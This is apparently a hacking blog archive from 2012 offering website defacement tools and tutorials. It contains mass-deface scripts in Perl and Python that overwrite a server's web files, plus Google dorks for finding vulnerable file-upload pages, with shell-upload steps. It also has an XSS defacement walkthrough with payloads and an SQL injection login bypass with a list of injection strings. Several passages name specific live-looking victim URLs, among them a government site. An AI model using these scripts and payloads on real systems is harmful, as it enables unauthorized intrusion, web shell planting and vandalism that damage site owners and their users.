Showing posts with label Defacement. Show all posts
Showing posts with label Defacement. Show all posts

Monday, 23 April 2012

Mass Deface Script in Perl & Python



Here is a mass deface script in Perl . Save it as anything.pl  .

#!/usr/bin/perl -w

#Masss Defacer v2.0

# Coded By illuz1oN

# Creditz - Nostur

$def = 'YOUR LAME DEFACE PAGE HERE =)';

{ print "[+]DEFACING...\n";

print"[+]DEFACING .PHP FILES...\n";

my @php = glob("*.php"); #Files

foreach my $deface(@php){

open(DEFACE, '>', $deface);

print DEFACE $def || print "[-]Fxcked up: $!\n";

close(DEFACE)

}

print "[+]DEFACING .HTML FILES...\n";

my @html = glob("*.html"); #Files

foreach my $deface(@html){

open(DEFACE, '>', $deface);

print DEFACE $def || print "[-]Fxcked up: $!\n";

close(DEFACE)

}

print "[+]DEFACING .ASP FILES...\n";

my @asp = glob("*.asp"); #Files

foreach my $deface(@asp){

open(DEFACE, '>', $deface);

print DEFACE $def || print "[-]Fxcked up: $!\n";

close(DEFACE)

}

print "[+]DEFACING .ASPX FILES...\n";

my @aspx = glob("*.aspx"); #Files

foreach my $deface(@aspx){

open(DEFACE, '>', $deface);

print DEFACE $def || print "[-]Fxcked up: $!\n";

close(DEFACE)

}

print "[+]DEFACING .HTM FILES...\n";

my @htm = glob("*.htm"); #Files

foreach my $deface(@htm){

open(DEFACE, '>', $deface);

print DEFACE $def || print "[-]Fxcked up: $!\n";

close(DEFACE)

}

print "[+]DEFACING .JS FILES...\n";

my @js = glob("*.js"); #Files

foreach my $deface(@js){

open(DEFACE, '>', $deface);

print DEFACE $def || print "[-]Fxcked up: $!\n";

close(DEFACE)

}

print "[+]DEFACING .AC FILES...\n";

my @ac = glob("*.ac"); #Files

foreach my $deface(@ac){

open(DEFACE, '>', $deface);

print DEFACE $def || print "[-]Fxcked up: $!\n";

close(DEFACE)

}

print "[+]Pages Should Be Defaced!\n";

}

#Coded By illuz1oN

#Credits - Nostur!

}


Mass Deface script in Python . Save it as anything.py .

#Mass Deface Script by c0ax aka KaiT_AleX
#Greetz baltazar, b0ne, Toro, Melvin, Mikisoft etc.
#Usage: mass.py [sitepath] [tvojindexfajl]
#mass.py /home /tmp/index.php
import os, sys, time
print "Defaceing..."
print "Just wait and see the magic..."
time.sleep(1)
sajtpt = sys.argv[1]
indef = sys.argv[2]
inf = os.name()
exe = "find %s -name \"index.*\" -exec cp %s {} \;" % (sajtpt, indef)
os.system(exe)
print "Done..."
print "Good luck with cops"
print inf
print "Visit Hackingsec.in"
#EOF
#Script by Hacking Sec
}

Friday, 9 March 2012

Tmedit Popuop~ New Deface and Shell Upload Vulnerability

Dork:
inurl:/editor/tmedit/popups
After searching the dork you will get tons of vulnerable websites. Choose any more of your choice. After opening the website search for a upload option. Upload your Shell or Deface there. After you have uploaded your Shell or Deface you will see the path of the file there. If the path of the uploaded path of the file is not show, visit is URL


# http://www.youwebsite.com/images/yourfilehere
Demo:
http://www.arabicthailand.com/editor/tmedit/popups/insert_image_en.php

Javascript Web Folder Management~Shell and Deface Upload Vulnerability.

This is another remote file upload vulnerability which allows a Hacker to upload a Shell or a Deface on the vulnerable website.

Dorks:
inurl:upload.jsp filetype:.jsp
www.topronet.com ,All Rights Reserved.Any question, please email me cqq1978@Gmail.com
JFoler 1.0 A jsp based web folder management tool by Steven Cee



Use both Google and Bing to get more vulnerable website. Choose any website after searching the dork, and upload your .jsp shell there or upload your Deface. On some websites you can even edit any page includeing the main index page with your own deface page. On some websites .php shell might also work.


Websites For you Guyz:
http://www.shnotary.gov.cn/notarial/UserFiles/Vote/MMYB1330972040320.jsp 
http://www.coalworld.net/detail/09/10/30/00000006/berk.jsp http://jangbiya.com/img/upload/jsp.jsp 

Friday, 2 March 2012

"File Manager" Remote Shell and Deface Upload Vulnerability.

Following is the vulnerability to remotly upload your shell or deface on a vulnerable website.
Google Dorks:
inurl:/filemanager/userfiles/ filetype:pdf
inurl:/filemanager/index.html
Vulnerable URL:
http://www.site.com/filemanager/index.html
Now, google the dork and select any website from the search result.
When you will select any website, the URL will be as
http://www.site.com/filemanager/UserFiles/File/xyz/abc.pdf
Now delete the text after filemanager. Now after deleteing the text URL will be
http://www.site.com/filemanager/
You will get a upload option, upload your shell or deface there.
Your will will be uploaded in Userfiles directory. z
To view your shell visit the below mentioned URLs:

http://www.site.com/UserFiles/Shell.php

http://www.site.com/UserFiles/deface.html
or 
http://www.site.com/UserFiles/directory/Shell.php
http://www.site.com/UserFiles/directory/deface.html

Cross Site Scripting (XSS) Explained and Complete Website Defacement Tutorial.

Cross Site Scripting (XSS) is a vulnerability found in websites which allows an malicious attack/cracker to inject client-side scripts into the web pages. By using this vulnerability an attaker can deface a website, redirection attacks can be done and session cookie stealing is also possiable by exploiting this vulnerability.
There are two types of XSS vulnerability found in web applications.
1. Non-persistent
2. Persistent



# Non-persistent
Non-persistent type of XSS vulnerability is the most comman one. Non-persistent XSS happens when a malicious HTML query is done by an attacker and that query is used immiediatly by the server-side to generate the page result.  


# Persistent
Persistent type of XSS vulnerability is a dangerous kind of vulnerability. This happens when a malicious HTML query is done by the attacker and that query is immediatly saved by the server and is permanently displayed on the normal pages.


In this tutorial I'm going to show you how to deface a XSS vulnerable site via Non-persistent XSS vulnerabillty.
In order to find sites vulnerable to XSS use google dorks. The most comman google dork used by attackers to exploit the XSS vulnerability is:
inurl:search.php?q=
*For more dorks to find XSS vulnerable websites, Click Here.
After googling the dork, select any website, and check if it can be exploited.


How to find if the website is XSS vulnerable or not.
Example Website:
www.website.com/search.php?q=
Open the website, you will find a search box. in that search box type this code:
<script>alert("XSS Detected !!")</script>
And click on search. If the site is vulnerable, you will get a Jquery box saying "XSS Detected", if you got that you can move foreward to deface the website site.
Now if you want just to display a simple message like "H4CK3D", Enter the below HTML code and click on search.
<h1><center><b>H4CK3D</h1></center></b>
*You can edit the above code to change the text color, font etc if you have some knowledge of HTML.


How to deface.
In order to deface the website, take a screenshot of your deface page and upload it on any free image hosting website. After uploading note the image URL.
Goto search box and type in there the following code:
<center><image src="your deface image URL here"></center>
And click on search, Yeah! we are done, your deface image is there on the website. #Mission Accomplished #Website Defacement Sucessful.


#Wait for the next Website Defacement tutorial using Persistent XSS vulnerability, for permeanent deface.


Having Problem? Mention them in your comments to get the soloution.

Thursday, 5 January 2012

Hack Website's Admin Panel using Basic SQL Injection





You might have seen hackers hacking and defaceing websites, editing it with their own stuff, makeing post on websites etc. There are many methods of doing this, In this tutorial I will be showing you a very basic and simply SQLi (Structured Query Language Injection).  I will show you how to find the websites admin panel using a simple google dork and a SQL query to bypass the admin user name and password and enter into the panel. When you are in the panel just find a upload option and upload your shell, then deface it.


Dorks: inurl:adminlogin.aspx
            inurl:admin/index.php
            inurl:administrator.php
            inurl:administrator.asp
            inurl:login.asp
            inurl:login.aspx
            inurl:login.php
            inurl:admin/index.php
            inurl:adminlogin.aspx


# Try to make your own dorks also to get more success rate.


Hundreds of sites will open up having /adminlogin.aspx in their URL. Select any website, you will get the area from where the admins login. Fill the details as:
User: 1'or'1'='1
Password: 1'or'1'='1


Use the above mentioned login details and you will be into the admin panel of a website. I will not work for all the websites you will find, but will work on most of the website. 


Some websites which I got:
http://gimtech.in/Webadmin/AdminLogin.aspx
http://welkinindiagroup.com/admin/adminlogin.aspx
http://nobinsolutions.com/Adminlogin.aspx





Other InjecTion Queries:
‘ or 1=1 –
1'or’1'=’1
admin’–
” or 0=0 –
or 0=0 –
‘ or 0=0 #
” or 0=0 #
or 0=0 #
‘ or ‘x’='x
” or “x”=”x
‘) or (‘x’='x
‘ or 1=1–
” or 1=1–
or 1=1–
‘ or a=a–
” or “a”=”a
‘) or (‘a’='a
“) or (“a”=”a
hi” or “a”=”a
hi” or 1=1 –
hi’ or 1=1 –
hi’ or ‘a’='a
hi’) or (‘a’='a
hi”) or (“a”=”)